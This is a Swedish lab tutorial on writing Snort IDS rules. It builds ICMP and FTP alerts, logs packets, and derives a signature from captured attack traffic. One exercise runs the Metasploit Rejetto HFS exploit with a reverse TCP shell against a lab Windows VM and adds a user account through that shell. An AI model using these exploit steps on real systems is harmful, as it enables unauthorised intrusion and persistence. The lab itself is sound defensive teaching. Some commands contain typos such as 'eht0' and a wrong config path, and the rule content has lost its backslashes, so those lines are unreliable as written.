I den här serien av laborationer kommer vi att demonstrera olika tekniker för att skriva Snort-regler, från grundläggande regelsyntax till att skriva regler som är inriktade på att upptäcka specifika typer av attacker. Vi kommer också att undersöka några grundläggande tillvägagångssätt för analys och optimering av reglernas prestanda.

Övning 1: Snort som IDS

Snort är mest känt som en IDS. Från webbplatsen snort.org:

”Snort® är ett system för förebyggande och upptäckt av intrång i nätverk (IDS/IPS) med öppen källkod som utvecklats av Sourcefire. Snort kombinerar fördelarna med signatur-, protokoll- och anomalibaserad inspektion och är den mest spridda IDS/IPS-tekniken i världen. Med miljontals nedladdningar och nästan 400 000 registrerade användare har Snort blivit den faktiska standarden för IPS.”

Det bör också nämnas att Sourcefire förvärvades av Cisco i början av oktober 2013.

Snort kan i huvudsak köras i tre olika lägen: IDS-läge, loggningsläge och snifferläge. Vi kommer att använda Snort i den här delen av laborationen i IDS-läge, för att senare använda det som paketloggare. Vi kommer att använda Ubuntu Server VM, Windows Server 2012 R2 VM och Kali Linux VM för den här laborationen.

Du har Snort version 2.9.8 installerad på din Ubuntu Server VM. Starta din Ubuntu Server VM, logga in med de autentiseringsuppgifter som du fick i början av den här guiden och öppna ett terminalskal genom att dubbelklicka på genvägen till skrivbordet. (Alternativt kan du trycka på Ctrl+Alt+T för att öppna ett nytt skal.)

För att verifiera Snort-versionen skriver du snort -V och trycker på Enter.

Nästan måste vi konfigurera vårt HOME_NET-värde: det nätverk vi ska skydda. Skriv först ifconfig i ditt terminalskal för att se nätverkskonfigurationen. Notera IP-adressen och värdet för nätverksgränssnittet. Se bilden nedan (din IP kan vara annorlunda).

Nästan skriver du följande kommando för att öppna konfigurationsfilen för snort i textredigeraren gedit:

sudo gedit /etc/snort/snort.conf

Inför lösenordet för Ubuntu Server. När filen snort.conf öppnas bläddrar du ner tills du hittar inställningen ipvar HOME_NET. Du vill ändra IP-adressen till att vara ditt faktiska klass C-subnät. För närvarande ska den vara 192.168.132.0/24. Du ändrar helt enkelt IP-adressdelen för att matcha din Ubuntu Server VM IP och ser till att lämna kvar ”.0/24″ i slutet.

Välj Spara från fältet högst upp och stäng filen. Vid det här laget är Snort redo att köras. Förutom att den inte har några regler inlästa. För att kontrollera detta kör du följande kommando:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Här säger vi till Snort att testa (-T) konfigurationsfilen (-c pekar på var den finns) på eth0-gränssnittet (ange ditt gränssnittsvärde om det är annorlunda). Detta kommer att ge upphov till en hel del utdata. Bläddra upp tills du ser ”0 Snort rules read” (se bilden nedan).

Låt oss gå igenom syntaxen för den här regeln:

Rule headers

  • alert – Rule action. Snort genererar en varning när det inställda villkoret är uppfyllt.
  • any – Käll-IP. Snort tittar på alla källor.
  • any – Källport. Snort tittar på alla portar.
  • -> – Riktning. Från källa till destination.
  • $HOME_NET – Destinations-IP. Vi använder värdet HOME_NET från filen snort.conf.
  • any – Destinationsport. Snort tittar på alla portar i det skyddade nätverket.

Regelalternativ:

  • msg: ”ICMP test” – Snort kommer att inkludera detta meddelande i varningen.
  • sid:1000001 – Snort-regel-ID. Kom ihåg att alla nummer som är mindre än 1 000 000 000 är reserverade; det är därför vi börjar med 1 000 001. (Du kan använda vilket nummer som helst, så länge det är större än 1 000 000 000.)
  • rev:1 – Revisionsnummer. Det här alternativet gör det lättare att underhålla reglerna.
  • classtype:icmp-event – Kategoriserar regeln som en ”icmp-event”, en av de fördefinierade Snort-kategorierna. Det här alternativet underlättar organiseringen av regler.

Klicka på Spara och stäng filen. Nu kör vi testkommandot för Snort-konfigurationen igen:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Om du scrollar uppåt bör du se att en regel har laddats.

Nu kan vi starta Snort i IDS-läge och be den visa varningar på konsolen:

sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eht0

Nu pekar vi återigen Snort till konfigurationsfilen som den ska använda (-c) och specificerar gränssnittet (-i eth0). Konsolalternativet -A skriver ut varningar till standardutgången, och -q är för ”tyst” läge (visar inte banner och statusrapport). Du bör inte se något utdata när du anger kommandot eftersom Snort inte har upptäckt någon aktivitet som anges i regeln vi skrev.

Låt oss generera lite aktivitet och se om vår regel fungerar.

Lansera din virtuella maskin för Kali Linux. Du kan behöva ange startx efter att ha angett autentiseringsuppgifter för att komma till det grafiska gränssnittet. När du är där öppnar du ett terminalshell genom att klicka på ikonen i den övre menyraden.

Börja nu att pinga din Ubuntu-server med följande kommando (använd Ubuntu-serverns IP i stället för .x.x):

ping 192.168.x.x

Låt det köra i ett par sekunder och tryck Ctrl+C för att stoppa och återgå till prompten.

Vänta nu tillbaka till din Ubuntu Server som kör Snort IDS. Du bör se varningar som genereras för varje ICMP Echo request och Echo reply-meddelande, med den meddelandetext som vi angav i msg-alternativet:

Vi kan också se källans IP-adress för den värd som är ansvarig för den varningsgenererande aktiviteten. I exemplet ovan är det 192.168.132.133. Din kan vara annorlunda (men det är IP:n för din VM i Kali Linux). Vår testregel fungerar! Tryck Ctrl+C för att stoppa Snort och återgå till prompten.

Nu skriver vi en annan regel, den här gången lite mer specifik. Öppna vår fil local.rules i en textredigerare:

sudo gedit /etc/snort/rules/local.rules

Först ska vi kommentera ut vår första regel. Sätt ett pundtecken (#) framför den. På en ny rad skriver du följande regel (med din Kali Linux IP för x.x):

alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: ”FTP connection attempt”; sid:1000002; rev:1;)

Här ändrade vi protokollet till TCP, använde en specifik käll-IP, ställde in målportnumret till 21 (standardport för FTP-anslutningar) och ändrade texten till varningsmeddelandet. Spara och stäng filen. Nu kör vi Snort i IDS-läge igen, men den här gången ska vi lägga till ytterligare ett alternativ enligt följande:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii

Vi talar om för Snort att genererade varningar ska loggas i ASCII-formatet istället för standardformatet pcap. När Snort körs (återigen kommer du inte att se något utdata direkt), gå till din virtuella dator med Kali Linux och ange följande kommando i ett terminalskal (med din Ubuntu-servers IP-adress):

ftp 192.168.x.x

Gå tillbaka till Ubuntu-servern. Du bör se att en varning har genererats.

För att försäkra dig om att regeln inte genererar några falska positiva resultat kan du öppna ett annat terminalshell på Ubuntu Server VM och försöka ansluta till samma FTP-server. Du bör inte se några nya varningar. Tryck Ctrl+C för att stoppa Snort.

Kör nu följande kommando för att göra en listning av loggkatalogen för Snort:

ls /var/log/snort

Du bör se något som liknar följande bild:

Filen snort.log.* (du kan ha mer än en om du genererade mer än en varningsgenererande aktivitet tidigare) är loggfilen .pcap. Den kan inte läsas med en textredigerare. Den IP-adress som du ser (din kommer att skilja sig från bilden) är käll-IP:n för den varning vi just såg för vår FTP-regel. Det är en katalog. Låt oss se vad som finns där inne:

sudo ls /var/log/snort/192.168.x.x

Du kan se att det finns en fil där som är uppkallad efter protokollet (TCP) och portnumren som är inblandade i aktiviteten. Vi kan läsa den här filen med en textredigerare eller bara använda kommandot cat:

sudo cat /var/log/snort/192.168.x.x.x/TCP:4561-21

Vi får samma information som vi såg i konsolutgången med några ytterligare detaljer.

Hur är det med .pcap-filerna? Vi kan använda Wireshark, en populär nätverksprotokollanalysator, för att undersöka dessa. Ange sudo wireshark för att starta programmet. Klicka på OK för att bekräfta de fel-/varningsmeddelanden som dyker upp. När du är i huvudfönstret i Wireshark går du till File → Open.

Bläddra till katalogen /var/log/snort, välj filen snort.log.* och klicka på Open.

En hel del mer information här! Klicka för att expandera något av objekten i den mellersta rutan. Nu kan vi titta på innehållet i varje paket.

Slut Wireshark. Vi kommer att använda den mycket under laborationerna.

För vår nästa regel ska vi skriva en som letar efter visst innehåll, utöver protokoll, IP:er och portnummer. Först måste vi generera en aktivitet som ger oss det innehåll som behövs för en regel.

Lansera din virtuella maskin Windows Server 2012 R2 och logga in med de autentiseringsuppgifter som du fick i början av den här guiden. Den här virtuella maskinen har en FTP-server som körs på den. Ta först reda på IP-adressen för din Windows Server 2102 R2 VM. Du kan göra detta genom att öppna kommandotolken från genvägen till skrivbordet och skriva ipconfig.

Notera värdet för ”IPv4-adress” (ditt värde kan skilja sig från bilden). Gå nu tillbaka till din virtuella Ubuntu-server och ange ftp 192.168.x.x.x (med hjälp av den IP-adress du just kollade upp). När du uppmanas att ange namn och lösenord trycker du bara på Enter. Undersök utmatningen.

Som vi kan se resulterar inmatning av ogiltiga autentiseringsuppgifter i ett meddelande som säger ”Inloggning eller lösenord felaktigt”. Nu har vi tillräckligt med information för att skriva vår regel. Skriv quit för att avsluta FTP och återgå till prompten. Öppna vår fil local.rules igen:

sudo gedit /etc/snort/rules/local.rules

Då vi kommer att arbeta mycket med den här filen kan du låta den vara öppen och starta ett nytt terminalskal för att skriva in kommandon.

Lägg till följande regel på den nya raden:

alert tcp $HOME_NET 21 -> any any (msg: ”FTP failed login”; content: ”Login or password incorrect”; sid:1000003; rev:1;)

Bemärk att vi nu har angett HOME_NET-värdet som vår käll-IP, eftersom vi kommer att leta efter de utgående FTP-servernsvaren. Spara filen. Nu ska vi testa regeln. Starta Snort i IDS-läge:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Gå nu till din virtuella dator i Kali Linux och försök att ansluta till FTP-servern på Windows Server 2012 R2 (ftp 192.168.x.x) och ange valfria värden för namn och lösenord. Skriv quit för att återgå till prompten. Gå tillbaka till Ubuntu Server VM. Du bör se flera varningar som genereras av de båda aktiva reglerna som vi har laddat in i Snort. Tryck CTRL+C för att stoppa Snort.

Övningsuppgift 2: Snort som paketloggare

Med det snabbt föränderliga angreppslandskapet och de snabbt föränderliga angreppsvektorerna som finns där ute i dag kanske vi inte ens vet vad vi ska leta efter förrän vi har sett attacken. Sedan kanske vi, efter att ha undersökt trafiken, kan skapa en regel för just den ”nya” attacken. Det är exakt så här som standardreglerna för Snort som är tillgängliga för allmänheten skapas. Vi ska nu köra Snort i loggningsläge och se vad vi kan identifiera trafiken utifrån de attacker vi gör.

I den här övningen ska vi simulera en attack mot vår Windows Server medan vi kör Snort i paketloggningsläge. Sedan kommer vi att undersöka de loggade paketen för att se om vi kan identifiera en attacksignatur.

Se till att alla tre virtuella maskiner (Ubuntu Server, Windows Server och Kali Linux) är igång. På din virtuella dator med Kali Linux skriver du in följande i ett terminalskal:

msfconsole

Detta kommer att starta Metasploit Framework, en populär plattform för penetrationstestning. Det tar några sekunder att ladda den. Ignorera felet med databasanslutningen. Vänta tills du ser msf>-prompten. När du är där anger du följande serie kommandon:

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (IP-adress för Kali Linux VM)

set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP address)

set RPORT 8081

Här konfigurerade vi en exploatering mot en sårbar version av Rejetto HFS HTTP File server som körs på vår Windows Server 2012 R2 VM.

För att köra exploateringen måste vi starta Snort i paketloggningsläge. Gå till din Ubuntu Server VM och ange följande kommando i ett terminalskal:

sudo snort -dev -q -l /var/log/snort -i eth0

Du kommer inte att se något utdata. Gå nu tillbaka till msf-exploiten som du har konfigurerat på Kali Linux VM och ange exploit. Om exploiten var framgångsrik bör du hamna i ett kommandoshell:

Nu när vi har tillgång till systemet kan vi göra följande:

Skapa ett nytt användarkonto:

net user accountname P@ssword12 /ADD

Byt kataloger till c:

cd

Skapa en ny katalog som är ditt namn.

mkdir dittnamn

Tryck nu på Ctrl+C och svara y för ”ja” för att stänga åtkomsten till ditt kommandoshell.

Nästan går du till din virtuella Ubuntu Server VM och trycker på Ctrl+C för att stoppa Snort. Skriv in sudo wireshark i ditt terminalskal. I Wireshark går du till File → Open och bläddrar till /var/log/snort. Vid det här laget kommer vi att ha flera snort.log.*-filer där. Välj den som ändrades senast och klicka på Open.

Du bör se en hel del fångade paket.

Vi måste hitta de paket som är relaterade till vår simulerade attack. I Wireshark väljer du Redigera → Hitta paket. I den resulterande dialogrutan väljer du radioknappen String. Välj sedan Packet Bytes för kriterierna Search In (Sök i). För söksträngen anger du sedan det användarnamn som du skapade.

När du har konfigurerat sökdialogrutan klickar du på knappen Hitta. Sökningen bör hitta det paket som innehåller strängen du sökte efter. Gå vidare och välj det paketet. Det kommer att vara det mörkorangefärgade paketet. Högerklicka på det och välj Follow TCP Stream.

Denna åtgärd bör visa dig alla kommandon som skrevs in i den TCP-sessionen. Detta kommer att inkludera skapandet av kontot samt de andra åtgärderna.

När du har kontrollerat dina resultat kan du stänga streamingfönstret. Detta bör ta dig tillbaka till paketet som du valde i början. Tryck nu på uppåtpilen tills du ser att ASCII-delen av din hexdump visar ”C:UsersAdministratorDesktophfs2.3b>” i den nedre rutan. Se nedan.

Notera den valda delen i figuren ovan. Vi kommer att använda det här innehållet för att skapa en varning som låter oss veta när ett kommandoshell skickas ut till en annan värddator som ett resultat av Rejetto HFS-exploiten. Minimera Wireshark-fönstret (stäng det inte än).

Övningsuppgift 3: Skapa en anpassad regel från loggad trafik

Vi vill att en varning ska visas varje gång Snort ser ”C:UsersAdministratorDesktophfs2.3b>”. Gå till vår fil local.rules (om du har stängt den, öppna den igen som root, med samma kommando som tidigare) och lägg till följande regel på en ny rad (observera att vi undviker alla backslashes för att se till att de ingår i innehållet):

alert tcp $HOME_NET any -> any any (msg: ”Command Shell Access”; content: ”C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)

Spara filen. Kör Snort i IDS-läge igen:

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Gå nu tillbaka till din virtuella maskin i Kali Linux. Du bör fortfarande vara på prompten för rejetto-exploiten. Ange bara exploit för att köra den igen. Vänta tills du får tillgång till kommandoskalet och återgå till Snort-terminalen på Ubuntu Server. Du bör se att varningar har genererats, baserat på vår nya regel:

Tryck Ctrl+C på Kali Linux-terminalen och skriv y för att avsluta kommandoskalet. Tryck sedan på Ctrl+C i terminalen på Ubuntu Server för att stoppa Snort.

I det här fallet har vi lite människoläsbart innehåll som vi kan använda i vår regel. Men det är inte alltid fallet.

Låt oss ändra vår regel så att den letar efter innehåll som representeras i hexformat. Först kopierar du vår senaste regel i vår fil local.rules och klistrar in den nedan i den nya raden. Kommentera nu ut den gamla regeln och ändra ”rev”-värdet för den nya regeln till ”2”. Se nedan.

För att öppna Wireshark-fönstret med vår fångst igen, med samma payload-del markerad. Tyvärr kan du inte kopiera hexvärden direkt från Wiresharks huvudfönster, men det finns en enkel lösning som kommer att fungera för oss. När det nödvändiga innehållet är markerat högerklickar du antingen på motsvarande (markerade) paket i den övre rutan eller på den markerade posten ”Data:” i den mellersta rutan och väljer Copy → Bytes → Offset Hex. Se nedan.

Nu, i vår fil local.rules, markerar du innehållsargumentet (allt mellan citattecken) i vår nya regel, högerklickar och klickar på Klistra in. Ta nu försiktigt bort alla extra mellanslag, radbrytningar och så vidare, så att bara de nödvändiga hexvärdena återstår. Sätt sedan in pipesymbolerna (|) på båda sidor. Din färdiga regel ska se ut som bilden nedan.

Spara filen. Starta Snort i IDS-läge. Gå sedan till din virtuella maskin i Kali Linux och kör exploiten igen. Vänta tills du får kommandoskalet och titta på Snorts utdata. Du bör se genererade varningar.

Den här gången ser vi två varningar i stället för fyra eftersom vi inkluderade hex-representationen av symbolen ”>” i innehållet, vilket gör regeln mer specifik.

Tryck Ctrl+C för att stoppa Snort. Tryck sedan på Ctrl+C på den virtuella maskinen Kali Linux och skriv y för att avsluta kommandoskalet. Skriv exit för att återgå till den vanliga prompten.

Detta är bara några av grunderna i skrivandet av Snort-regler. Senare kommer vi att titta på några mer avancerade tekniker.

Lämna ett svar

Din e-postadress kommer inte publiceras.